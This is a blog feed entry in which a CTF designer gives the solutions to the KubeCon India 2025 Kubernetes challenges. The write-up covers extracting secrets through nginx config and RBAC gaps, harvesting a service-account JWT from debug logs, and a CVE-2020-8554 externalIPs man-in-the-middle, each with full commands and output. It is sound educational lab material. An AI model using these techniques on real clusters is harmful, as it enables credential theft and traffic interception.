Posts on cicci8ino's bloghttp://blog.martino.wtf/posts/Recent content in Posts on cicci8ino's blogHugo -- gohugo.ioen-usMon, 29 Sep 2025 10:45:15 +0100Cracking the KubeCon India 25 CTF: The Creator's Cuthttp://blog.martino.wtf/posts/kubecon-in-25-ctf/Mon, 29 Sep 2025 10:45:15 +0100http://blog.martino.wtf/posts/kubecon-in-25-ctf/%!s(<nil>)Intro

This is my solution write-up for the KubeCon India 2025 Kubernetes CTF. The KubeCon CTF has been hosted by ControlPlane for several years now, and for this year’s event in India, I was responsible for its design and implementation.

While I wasn’t able to attend the event in person, I enjoyed following the scoreboard remotely as people made their way through the challenge. I also want to thank everyone who left positive feedback, especially those who spent a significant amount of time working through the problems. It was good to see the scenarios were well-received.

Here, I’ll break down the solution for each flag, explaining the underlying vulnerabilities and the steps required to solve them. Thanks again to all the participants.

Let’s get started!

Easy: Orchestra

Flag 1

  • ssh on the bastion
  • get all the pods and realize Crossplane is installed
  • have a look at the CompositeResourceDefinition StaticWebApp
  • have a look at how this is templated, in Composition staticwebapp-yaml-template
  • realize there’s a flag stored as annotation
kubectl get composition staticwebapp-yaml-template -o json | jq '.metadata.annotations'

Use the hint related to nginx configs for the next flag.

Flag 2

  • realize a secret is mounted in the nginx pods
  • realize you can change the nginx configuration
  • create a new ConfigMap, to let nginx use a different configuration
apiVersion: v1
kind: ConfigMap
metadata:
  name: nginx-config
  namespace: website
data:
  default.conf: |
    server {
        listen 80;
        server_name localhost;

        location / {
            root /etc/secret;
            autoindex on;
        }
    }
  • create a new StaticWebApp, specifying the nginxConfigConfigMap
apiVersion: kubesim.tech/v1
kind: StaticWebApp
metadata:
  name: test
  namespace: website
spec:
  subdomain: test
  replicas: 2
  websiteConfigMap: nginx-sample-site
  nginxConfigConfigMap: nginx-config
  • use curl to get the flag
root@jumphost:~# curl test-75z8l.website:8080
<html>
<head><title>Index of /</title></head>
<body>
<h1>Index of /</h1><hr><pre><a href="../">../</a>
<a href="flag">flag</a>                                           16-Jun-2025 09:10                   6
</pre><hr></body>
</html>

root@jumphost:~# curl test-75z8l.website:8080/flag
flag_ctf{I_love_templates_even_more}

Flag 3 (bonus)

  • get all the revisions and realize there’s more than one
root@jumphost:~# kubectl get compositionrevision
NAME                                 REVISION   XR-KIND        XR-APIVERSION     AGE
staticwebapp-yaml-template-746abe7   2          StaticWebApp   kubesim.tech/v1   8m19s
staticwebapp-yaml-template-d383714   1          StaticWebApp   kubesim.tech/v1   11m
  • analyze the oldest revision and get the flag
root@jumphost:~# kubectl get compositionrevision staticwebapp-yaml-template-d383714 -o yaml
...
      inline:
        template: "---\napiVersion: v1\nkind: Secret\nmetadata:\n  annotations:\n
          \   gotemplating.fn.crossplane.io/composition-resource-name: secret\n  labels:\n
          \   kubesim.tech/staticwebapp: {{ .observed.composite.resource.metadata.name
          }}\ntype: Opaque\nstringData:\n  flag: flag_ctf{template_revisions_are_so_fun}
          \        \n"
...

Medium: Dark Telescope

Flag 1

  • Open SSH tunnel, using the command shared in the scenario description
ssh -i simulator_rsa -F simulator_config -o IdentitiesOnly=yes bastion -L 8080:localhost:80

kubectl get pods -A
  • Get to know the namespaces
kubectl get ns
  • See which grant you have on grafana namespace
kubectl auth can-i --list -n grafana
  • Extract Grafana admin credentials from the secret
kubectl get secret -n grafana grafana -o go-template='
{{range $k,$v := .data}}{{printf "%s: " $k}}{{if not $v}}{{$v}}{{else}}{{$v | base64decode}}{{end}}{{"\n"}}{{end}}'

admin-password: flag_ctf{proper_rbac_is_very_important}
admin-user: admin
ldap-toml:

Flag 2

apt update && apt install curl
  • Try to curl the metrics endpoint
curl -v  backend.backend:3000/metrics

kubectl auth can-i --list -n victoriametrics
  • Realize you can see the ConfigMap in that namespace
  • Get all the ConfigMaps
kubectl get cm -n victoriametrics -o yaml
...
  data:
    scrape.yml: |
      global:
        scrape_interval: 15s
      scrape_configs:
      - basic_auth:
          password: p4ssw0rd!123
          username: frontend
        job_name: scrape-backend
        static_configs:
        - targets:
          - backend.beckend:3000
...

{instance="backend.backend:3000", job="scrape-backend"}

Flag 3

  • Check if any logging solution is running
kubectl get ns

...
victorialogs
...
  • Get all the objects from that namespace
kubectl get all -n victorialogs

...
service/victorialogs-victoria-logs-single-server
...
  • Navigate to grafana and add a new connection after installing the VictoriaLogs plugin http://victorialogs-victoria-logs-single-server.victorialogs:9428
  • Start exploring data
  • Filter data on the backend namespace namespace:="backend"
  • See there are three type of logs:
    • Order <orderID> created
    • HTTP logs on /orders
    • Startup log of the server (listening and registering paths)
  • Find out there’s a specific order that is causing issue with malformed flag
  • Download Infinity plugin on Grafana, to run http requests. As an alternative, scrape that path using the scraping config (thanks to Gabriela for this unintended path!)
  • Request the malformed order, in order to read the flag flag_ctf{debug_log_is_not_always_nice}

Complex: Cluster Maintenance

Flag 1

  • As suggested in the welcome screen, player will connect to the /supported endpoint of the cluster-maintenance API
root@jumphost:~# curl https://api.cluster-maintenance/supported -k -s | jq
[
  {
    "path": "/namespaces",
    "description": "List all the namespaces. Specify `cluster` and `namespace` query parameter. Default: ?cluster=default&namespace=production.",
    "example": "curl \"https://localhost:8443/namespaces?cluster=dev\""
  },
  {
    "path": "/pods",
    "description": "Get pods from a namespace. Specify `cluster` and `namespace` query parameter. Default: ?cluster=default&namespace=production.",
    "example": "curl \"https://localhost:8443/pods?cluster=dev&namespace=test\""
  },
  {
    "path": "/secrets",
    "description": "Get masked secrets from a namespace. Specify `cluster` and `namespace` query parameter. Default: ?cluster=default&namespace=production.",
    "example": "curl \"https://localhost:8443/secrets?cluster=dev&namespace=test\""
  },
  {
    "path": "/supported",
    "description": "List supported endpoints and usages",
    "example": "curl https://localhost:8443/supported"
  },
  {
    "path": "/clusters",
    "description": "Manage the clusters where you can connect to",
    "example": "curl https://localhost:8443/clusters"
  },
  {
    "path": "/logs",
    "description": "Get cluster-maintenance logs",
    "example": "curl https://localhost:8443/logs"
  }
]
  • let’s see all the namespaces
root@jumphost:~# curl https://api.cluster-maintenance/namespaces -k -s | jq
[
  "cluster-maintenance",
  "default",
  "jumphost",
  "kube-node-lease",
  "kube-public",
  "kube-system",
  "production"
]
  • let’s see if we can get the secrets out of the production namespace
root@jumphost:~# curl https://api.cluster-maintenance/secrets -k -s | jq
{
  "metadata": {
    "resourceVersion": "4990"
  },
  "items": [
    {
      "metadata": {
        "name": "am-i-supposed-to-read-this",
        "namespace": "production",
        "uid": "ec5b70b1-4d85-4126-8dbe-f59dfde291a3",
        "resourceVersion": "762",
        "creationTimestamp": "2025-06-24T15:53:17Z",
        "managedFields": [
          {
            "manager": "kubectl-client-side-apply",
            "operation": "Update",
            "apiVersion": "v1",
            "time": "2025-06-24T15:53:17Z",
            "fieldsType": "FieldsV1",
            "fieldsV1": {
              "f:data": {
                ".": {},
                "f:flag": {}
              },
              "f:metadata": {
                "f:annotations": {
                  ".": {},
                  "f:kubectl.kubernetes.io/last-applied-configuration": {}
                }
              },
              "f:type": {}
            }
          }
        ]
      },
      "type": "Opaque"
    }
  ]
}
  • secrets are removed by the API
  • let’s check the /clusters path
root@jumphost:~# curl -k https://api.cluster-maintenance/clusters -s | jq
{
  "default": {
    "name": "default",
    "fqdn": "https://10.96.0.1:443",
    "ca_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCVENDQWUyZ0F3SUJBZ0lJYThLWUhaSTYzdGN3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TlRBMk1qUXhOVFEyTWpCYUZ3MHpOVEEyTWpJeE5UVXhNakJhTUJVeApFekFSQmdOVkJBTVRDbXQxWW1WeWJtVjBaWE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLCkFvSUJBUURucGQ3UEUveFZOUGcvdFVHdEM4elhMMkZhK0cveEZIUXgyY0VFcFZtQjdHc3ZFTUJxNVJFYjRBSFcKTVMvcUxMUXZBUEluOUZHOEZzeDNpeWMyZkYwYVp4VDRvL0UzY05Vak1KMVI2alFDL2VjbFdwai9xU2VUSGVqQQp0SHUvOUdjVEczTGNZRkhJMWtmL1ZCZkxia0Y3Z2RtSmhxY3dnQk1obWpOUW1BaDh4UXdWczdtWHVEZFAxemhWCnF5OWlIWEpIZlhtakkyNkFubTRhcGJhSGZTd0tnNFZyMjQrcXpxazRkMis1REEzVndCcitiWnNQWW82dG9OTEMKUmVHNFB5ekE2emZ4S3dURFdiTi9iVmoyY3BJalUxazFoZnhMTmpIUmk0aS84Wld5ZSt5NVdzeisyOXJCWG4wdApkaW9DRWw2V2VPOUxiSHExbnRyMXRwZzJwdmpkQWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJUOHVuOXR5QUp5eW1nRk1MdTZtbGtnSVVCTEtEQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ21qVFRxZHp6dgppdEpJaG55VmFuZnVvQlNSTjRDMVNwQUVmdytBVmZtMFd3TThOMW8xVlUvUkxlbnI4M2JLQm1pZ2FVbENEdis5CkhES1A5UURaZFNKYW9oVzV0Tk5FVVdUL1BNSnRUSDByQzh0VGwrdlNWVHMvaW5HMFdJaitHa0RCUWxYOGlHZ3UKSVlKb3FUYXljdWl3S29RK0laemFnTTdKZGpOS3haUWJ4cFA1TjU0UlNrQWNyNHVrc0NJVHo3bFlrM2FGZHU1RgpXU0NkRWR3bmQrMmJQZjh1SU9QT3MxM0xBbGtoQnVUaXVaWDJSWDlaK2w0U0UvV0V2Z0YvbGVFbnRQSityNk9wCnZuTmxndHNyTnNCOVZqY0dIVForYmZQRWFTWE5zMHNCaThIbXAzSDlKY2JDZ2JSemlMd2pKRXp1VWFqM0ttalYKaGpJcnAvN3QwYzVlCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K"
  }
}
  • ca_cert is probably saving the Kubernetes CA encoded in base64
  • let’s check the logs
root@jumphost:~# curl https://api.cluster-maintenance/logs -k
2025/06/25 14:29:47 Server starting...
2025/06/25 14:29:47 Registering handler on /namespaces
2025/06/25 14:29:47 Registering handler on /pods
2025/06/25 14:29:47 Registering handler on /secrets
2025/06/25 14:29:47 Registering handler on /clusters
2025/06/25 14:29:47 Registering handler on /logs
2025/06/25 14:29:47 Starting HTTPs service on port 8443
2025/06/25 14:32:23 [DEBUG] method=GET path=/logs headers=[User-Agent=curl/8.7.1; Accept=*/*] body=
  • this seems to be logging the calls
  • let’s do a call on a random path and check the logs
root@jumphost:~# curl https://api.cluster-maintenance/asdasd -k
404 page not found

root@jumphost:~# curl https://api.cluster-maintenance/logs -k
2025/06/25 14:29:47 Server starting...
2025/06/25 14:29:47 Registering handler on /namespaces
2025/06/25 14:29:47 Registering handler on /pods
2025/06/25 14:29:47 Registering handler on /secrets
2025/06/25 14:29:47 Registering handler on /clusters
2025/06/25 14:29:47 Registering handler on /logs
2025/06/25 14:29:47 Starting HTTPs service on port 8443
2025/06/25 14:32:23 [DEBUG] method=GET path=/logs headers=[User-Agent=curl/8.7.1; Accept=*/*] body=
2025/06/25 14:33:21 [DEBUG] method=GET path=/asdasd headers=[User-Agent=curl/8.7.1; Accept=*/*] body=
  • this seems to be logging all the calls, regardless of the path
  • let’s create a new target, self, that is going to make the API to connect to itself
  • let’s see the details of the API certificate
root@jumphost:~# openssl s_client -showcerts -servername api.cluster-maintenance -connect api.cluster-maintenance:443 < /dev/null | openssl x509 -text -noout
            X509v3 Subject Alternative Name: 
                DNS:api.cluster-maintenance, DNS:api.cluster-maintenance.svc, DNS:api.cluster-maintenance.svc.cluster, DNS:api.cluster-maintenance.svc.cluster.local, IP Address:127.0.0.1
  • we can use the IP address, if accepted by the API
  • first, let’s fetch the CA and base64 encode it
root@jumphost:~# export CA_CERT=$(openssl s_client -showcerts -connect api.cluster-maintenance:443 </dev/null 2>/dev/null | openssl x509 -outform PEM | base64 -w0)
  • now create the cluster configuration
root@jumphost:~# curl -k -v -X POST https://api.cluster-maintenance/clusters -H "Content-Type: application/json" -d "{\"name\": \"self\", \"fqdn\": \"https://127.0.0.1:8443\", \"ca_cert\": \"$CA_CERT\"}"
{"name":"self","status":"saved"}
  • check the config
root@jumphost:~# curl -k https://api.cluster-maintenance/clusters -s | jq
{
  "default": {
    "name": "default",
    "fqdn": "https://10.96.0.1:443",
    "ca_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCVENDQWUyZ0F3SUJBZ0lJYThLWUhaSTYzdGN3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TlRBMk1qUXhOVFEyTWpCYUZ3MHpOVEEyTWpJeE5UVXhNakJhTUJVeApFekFSQmdOVkJBTVRDbXQxWW1WeWJtVjBaWE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLCkFvSUJBUURucGQ3UEUveFZOUGcvdFVHdEM4elhMMkZhK0cveEZIUXgyY0VFcFZtQjdHc3ZFTUJxNVJFYjRBSFcKTVMvcUxMUXZBUEluOUZHOEZzeDNpeWMyZkYwYVp4VDRvL0UzY05Vak1KMVI2alFDL2VjbFdwai9xU2VUSGVqQQp0SHUvOUdjVEczTGNZRkhJMWtmL1ZCZkxia0Y3Z2RtSmhxY3dnQk1obWpOUW1BaDh4UXdWczdtWHVEZFAxemhWCnF5OWlIWEpIZlhtakkyNkFubTRhcGJhSGZTd0tnNFZyMjQrcXpxazRkMis1REEzVndCcitiWnNQWW82dG9OTEMKUmVHNFB5ekE2emZ4S3dURFdiTi9iVmoyY3BJalUxazFoZnhMTmpIUmk0aS84Wld5ZSt5NVdzeisyOXJCWG4wdApkaW9DRWw2V2VPOUxiSHExbnRyMXRwZzJwdmpkQWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJUOHVuOXR5QUp5eW1nRk1MdTZtbGtnSVVCTEtEQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ21qVFRxZHp6dgppdEpJaG55VmFuZnVvQlNSTjRDMVNwQUVmdytBVmZtMFd3TThOMW8xVlUvUkxlbnI4M2JLQm1pZ2FVbENEdis5CkhES1A5UURaZFNKYW9oVzV0Tk5FVVdUL1BNSnRUSDByQzh0VGwrdlNWVHMvaW5HMFdJaitHa0RCUWxYOGlHZ3UKSVlKb3FUYXljdWl3S29RK0laemFnTTdKZGpOS3haUWJ4cFA1TjU0UlNrQWNyNHVrc0NJVHo3bFlrM2FGZHU1RgpXU0NkRWR3bmQrMmJQZjh1SU9QT3MxM0xBbGtoQnVUaXVaWDJSWDlaK2w0U0UvV0V2Z0YvbGVFbnRQSityNk9wCnZuTmxndHNyTnNCOVZqY0dIVForYmZQRWFTWE5zMHNCaThIbXAzSDlKY2JDZ2JSemlMd2pKRXp1VWFqM0ttalYKaGpJcnAvN3QwYzVlCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K"
  },
  "self": {
    "name": "self",
    "fqdn": "https://127.0.0.1:8443",
    "ca_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUR1ekNDQXFPZ0F3SUJBZ0lJSTJZTlBGalBCaUl3RFFZSktvWklodmNOQVFFTEJRQXdOREVRTUE0R0ExVUUKQ2hNSFMzVmlaWE5wYlRFZ01CNEdBMVVFQXhNWFlYQnBMbU5zZFhOMFpYSXRiV0ZwYm5SbGJtRnVZMlV3SGhjTgpNalV3TmpJMU1UUXlPVFEzV2hjTk1qWXdOakkxTVRReU9UUTNXakEwTVJBd0RnWURWUVFLRXdkTGRXSmxjMmx0Ck1TQXdIZ1lEVlFRREV4ZGhjR2t1WTJ4MWMzUmxjaTF0WVdsdWRHVnVZVzVqWlRDQ0FTSXdEUVlKS29aSWh2Y04KQVFFQkJRQURnZ0VQQURDQ0FRb0NnZ0VCQU5sbWRSaEQxQ3JCTDBPVUlyQS9aSFdmL1BhZEpCVXRZazZDcjZQYQpGUVBQWkZsT2Njak5ORUx4VjFvUVpoWWtKTm5XR3VvS29XNFgwb1dVdWNiTk04VGRKb3N4Nm5vNGVraW9zdWxoCnJ4NVUySWhPVUZmdXBnRFJ3ZVZzYzVTOGUxZTVMaVZWUWJYSGd1UllIOEgycTlWa1F2dUI4cGNFYk10RGJxYW0KZVJZNjd1ZGNpSVZJS0szMkYydmJXV2VObG0wMTRzS2Vvd0drUVBwdGpzZmdxclhnWHp5NzV5U2NqRDQ1Z0J0ZgpOSmVFUnZHWWtkdHV5bU8wRWp0ZEM5bjhFcmFaRDdOT0dYblFzdHdGRHlMOEh3RnZVTHJzZ3hpRVh3M0pDN3FzCk9SVHJGNWNmTHBlS25nczZZYm1GcThlYUM3dWQ1bmdYYXEycTFWMHUxeWVaUS9FQ0F3RUFBYU9CMERDQnpUQU8KQmdOVkhROEJBZjhFQkFNQ0JhQXdFd1lEVlIwbEJBd3dDZ1lJS3dZQkJRVUhBd0V3REFZRFZSMFRBUUgvQkFJdwpBRENCbHdZRFZSMFJCSUdQTUlHTWdoZGhjR2t1WTJ4MWMzUmxjaTF0WVdsdWRHVnVZVzVqWllJYllYQnBMbU5zCmRYTjBaWEl0YldGcGJuUmxibUZ1WTJVdWMzWmpnaU5oY0drdVkyeDFjM1JsY2kxdFlXbHVkR1Z1WVc1alpTNXoKZG1NdVkyeDFjM1JsY29JcFlYQnBMbU5zZFhOMFpYSXRiV0ZwYm5SbGJtRnVZMlV1YzNaakxtTnNkWE4wWlhJdQpiRzlqWVd5SEJIOEFBQUV3RFFZSktvWklodmNOQVFFTEJRQURnZ0VCQUs3WVpQV0ZqeVhIM1IzTEduMXBzd2E0CkpxRnZZY3Y0cDhQYVBGOXZQU0VpdnlRSHdjNHJ5b1BLaFBPcXpBYW5qNFQxVkJOQUNKODhCWXlyeGh4QS9NWDEKNG5GQ2VlNnNkQVROaDEyMVNHT2xETkdyNG0vVlpOck1xMHZkdHM4Nks5RVh4TG1RUS9ObklkTXI1QkpMUzMveApNbTVYVkk0ZTJQazNIb3luVEJhNkxGVE41T2IxTVlNMmtsd2hzaEM4Qlg5Q0R6TFZQL3RmNXJ2b1VXV3kxMmZ2CnZlNDYxaGJkN3pCSmlEbXhPcTFnTjZZUW5OTW5LUXdHK3N3b3JtbERiVGdZQVdaaUJqZ2VZN3VaWjN2N0dUdk0KVk96QkNFK3RUNWtZZkQrUDJmSHBuWVgyMTZaVHRCdFNMdjFiV2RpTnEvQVdWdGhyTkFXdDlLR3h6L0RVTGxzPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=="
  }
}
  • let’s fetch the secrets
root@jumphost:~# curl -k https://api.cluster-maintenance/secrets?cluster=self -s     
error getting secrets: the server could not find the requested resource (get secrets)
  • check the logs
root@jumphost:~# curl -k https://api.cluster-maintenance/logs 
...
2025/06/25 14:56:32 [DEBUG] method=GET path=/api/v1/namespaces/production/secrets headers=[User-Agent=server/v0.0.0 (linux/amd64) kubernetes/$Format; Authorization=Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Il9kNHNaSGNVeFdnZFJVTVZ0RjUtOVEzZjBqeXUybUFGby1pY1R5dTk2bmcifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzgyMzk3NzgyLCJpYXQiOjE3NTA4NjE3ODIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiMmMxZTAwOGItMjM3ZC00NDM3LWIwMGYtNGY3ZTY3OWI1ODQ3Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJjbHVzdGVyLW1haW50ZW5hbmNlIiwibm9kZSI6eyJuYW1lIjoibm9kZS0xIiwidWlkIjoiZjQ2NDUxNjMtZjUwMS00MTUzLTk4NDctNzJiZjFjNWZmZWFjIn0sInBvZCI6eyJuYW1lIjoiY2x1c3Rlci1tYWludGVuYW5jZS1jOGZjYmQ4LXBzcnpjIiwidWlkIjoiYTliNDZlYWYtZDFjOS00NDUzLWI0NTEtYzBlNTE2MTYwYzQ2In0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJjbHVzdGVyLW1haW50ZW5hbmNlIiwidWlkIjoiNDU3NzE3NjYtNmU4Yi00NmJiLWIyYzEtODMyOTY5Zjk3MjUyIn0sIndhcm5hZnRlciI6MTc1MDg2NTM4OX0sIm5iZiI6MTc1MDg2MTc4Miwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNsdXN0ZXItbWFpbnRlbmFuY2U6Y2x1c3Rlci1tYWludGVuYW5jZSJ9.Am4Bs6-nCpOmhRO59KJKFgY2TSPyAxuYylbLIxJajH_JBXLKEoklZjA9glhdJHkS7OOE7OtOn7JUYNFIpXOwoA9gUXRoHKwnHVzNxPeGexKJ92KRS2QWyL3yoiOwrcrZ6rmRZgnTwj39dQ0RJWkt1esZqyF5yAjrJ9ljFdmuSeUBuyHv0frpJUMyRZT6slsF96sSVzMmZEmB6Qnh6OnyXhe5Oo4oFSwB2tFGA1YQkFEfJT3iCIJ0CdIzJ2bXUQJw6DGN_i6ZDZ4khLs4XFUYz4xH2u7yfrq7M5P8TOr8c5rchIo5BGPk1bip6Ro4BpJCjo6z5u8dZSX0Gay0PWpGDQ; Accept-Encoding=gzip; Accept=application/vnd.kubernetes.protobuf,application/json] body=
...
  • export token
root@jumphost:~# export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6Il9kNHNaSGNVeFdnZFJVTVZ0RjUtOVEzZjBqeXUybUFGby1pY1R5dTk2bmcifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzgyMzk3NzgyLCJpYXQiOjE3NTA4NjE3ODIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiMmMxZTAwOGItMjM3ZC00NDM3LWIwMGYtNGY3ZTY3OWI1ODQ3Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJjbHVzdGVyLW1haW50ZW5hbmNlIiwibm9kZSI6eyJuYW1lIjoibm9kZS0xIiwidWlkIjoiZjQ2NDUxNjMtZjUwMS00MTUzLTk4NDctNzJiZjFjNWZmZWFjIn0sInBvZCI6eyJuYW1lIjoiY2x1c3Rlci1tYWludGVuYW5jZS1jOGZjYmQ4LXBzcnpjIiwidWlkIjoiYTliNDZlYWYtZDFjOS00NDUzLWI0NTEtYzBlNTE2MTYwYzQ2In0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJjbHVzdGVyLW1haW50ZW5hbmNlIiwidWlkIjoiNDU3NzE3NjYtNmU4Yi00NmJiLWIyYzEtODMyOTY5Zjk3MjUyIn0sIndhcm5hZnRlciI6MTc1MDg2NTM4OX0sIm5iZiI6MTc1MDg2MTc4Miwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNsdXN0ZXItbWFpbnRlbmFuY2U6Y2x1c3Rlci1tYWludGVuYW5jZSJ9.Am4Bs6-nCpOmhRO59KJKFgY2TSPyAxuYylbLIxJajH_JBXLKEoklZjA9glhdJHkS7OOE7OtOn7JUYNFIpXOwoA9gUXRoHKwnHVzNxPeGexKJ92KRS2QWyL3yoiOwrcrZ6rmRZgnTwj39dQ0RJWkt1esZqyF5yAjrJ9ljFdmuSeUBuyHv0frpJUMyRZT6slsF96sSVzMmZEmB6Qnh6OnyXhe5Oo4oFSwB2tFGA1YQkFEfJT3iCIJ0CdIzJ2bXUQJw6DGN_i6ZDZ4khLs4XFUYz4xH2u7yfrq7M5P8TOr8c5rchIo5BGPk1bip6Ro4BpJCjo6z5u8dZSX0Gay0PWpGDQ
  • specify token to fetch secrets
root@jumphost:~# kubectl get secrets am-i-supposed-to-read-this -n production -o go-template='{{.data.flag | base64decode}}' --token=$TOKEN

flag_ctf{jwt_should_not_be_logged}

Flag 2

  • understand what this jwt can do in the production namespace
root@jumphost:~# kubectl auth can-i --list -n production --token=$TOKEN        
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
pods/log                                        []                                     []               [get list watch]
services                                        []                                     []               [get watch list create]
namespaces                                      []                                     []               [get watch list]
pods                                            []                                     []               [get watch list]
secrets                                         []                                     []               [get watch list]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
  • and in the cluster-maintenance namespace
kubectl auth can-i --list -n cluster-maintenance --token=$TOKEN
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
namespaces                                      []                                     []               [get watch list]
secrets                                         []                                     []               [get watch list]
services                                        []                                     []               [get watch list]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
  • get all the secrets in cluster-maintenance namespace
root@jumphost:~# kubectl get secrets -n cluster-maintenance --token=$TOKEN -o yaml
apiVersion: v1
items: []
kind: List
metadata:
  resourceVersion: ""
  • nothing interesting
  • get all the pods in production namespace
root@jumphost:~# kubectl get pods -n production --token=$TOKEN
NAME                             READY   STATUS    RESTARTS   AGE
data-uploader-78f7c6865f-7dc6n   1/1     Running   0          39m
  • get the logs
root@jumphost:~# kubectl logs data-uploader-78f7c6865f-7dc6n -n production --token=$TOKEN
2025/06/25 14:29:49 Starting data uploader...
2025/06/25 14:29:49 WARNING: Skipping TLS verification
2025/06/25 14:29:49 Pushed data to https://control-plane.io/submit with status: 404 Not Found
2025/06/25 14:29:59 WARNING: Skipping TLS verification
2025/06/25 14:29:59 Pushed data to https://control-plane.io/submit with status: 404 Not Found
  • something is being pushed to the control-plane website, with no luck. TLS verification is skipped
  • let’s do a MITM using CVE-2020-8554
  • let’s get all the IPv4 of the control-plane website
root@jumphost:~# nslookup control-plane.io
;; Got recursion not available from 10.96.0.10
;; Got recursion not available from 10.96.0.10
;; Got recursion not available from 10.96.0.10
Server:		10.96.0.10
Address:	10.96.0.10#53

Name:	control-plane.io
Address: 104.26.1.119
Name:	control-plane.io
Address: 172.67.74.188
Name:	control-plane.io
Address: 104.26.0.119
Name:	control-plane.io
Address: 2606:4700:20::ac43:4abc
Name:	control-plane.io
Address: 2606:4700:20::681a:77
Name:	control-plane.io
Address: 2606:4700:20::681a:177
  • let’s create a ClusterIP service with multiple externalIPs. Make sure to use the correct selector
apiVersion: v1
kind: Service
metadata:
  name: mitm-service
  namespace: cluster-maintenance
spec:
  selector:
    app: cluster-maintenance
  ports:
    - protocol: TCP
      port: 443
      targetPort: 8443
  externalIPs:
  - 104.26.1.119
  - 172.67.74.188
  - 104.26.0.119
  • check the logs of the cluster-maintenance API
root@jumphost:~# curl -k https://api.cluster-maintenance/logs
2025/06/25 14:29:47 Server starting...
...
2025/06/25 15:14:09 [DEBUG] method=POST path=/submit headers=[User-Agent=Go-http-client/1.1; Content-Length=69; Content-Type=application/json; Accept-Encoding=gzip] body={"flag":"flag_ctf{tls_verification_is_very_important_CVE-2020-8554}"}

Wrap up

Finally, I want to thank the team who helped bring this CTF to life. Thank you to Mario and Aiman for being on the ground in India to run the event, and to Gabriela, Tom, and Sam for their essential help in testing the scenarios beforehand.

Stay tuned for the KubeCon US CTF event!

]]>A wedding website powered by Kubernetes, Flux, and GitHub Actions - Part 2http://blog.martino.wtf/posts/wedding-pt2/Wed, 02 Apr 2025 14:48:15 +0100http://blog.martino.wtf/posts/wedding-pt2/%!s(<nil>)
Yet another warning, deal with it

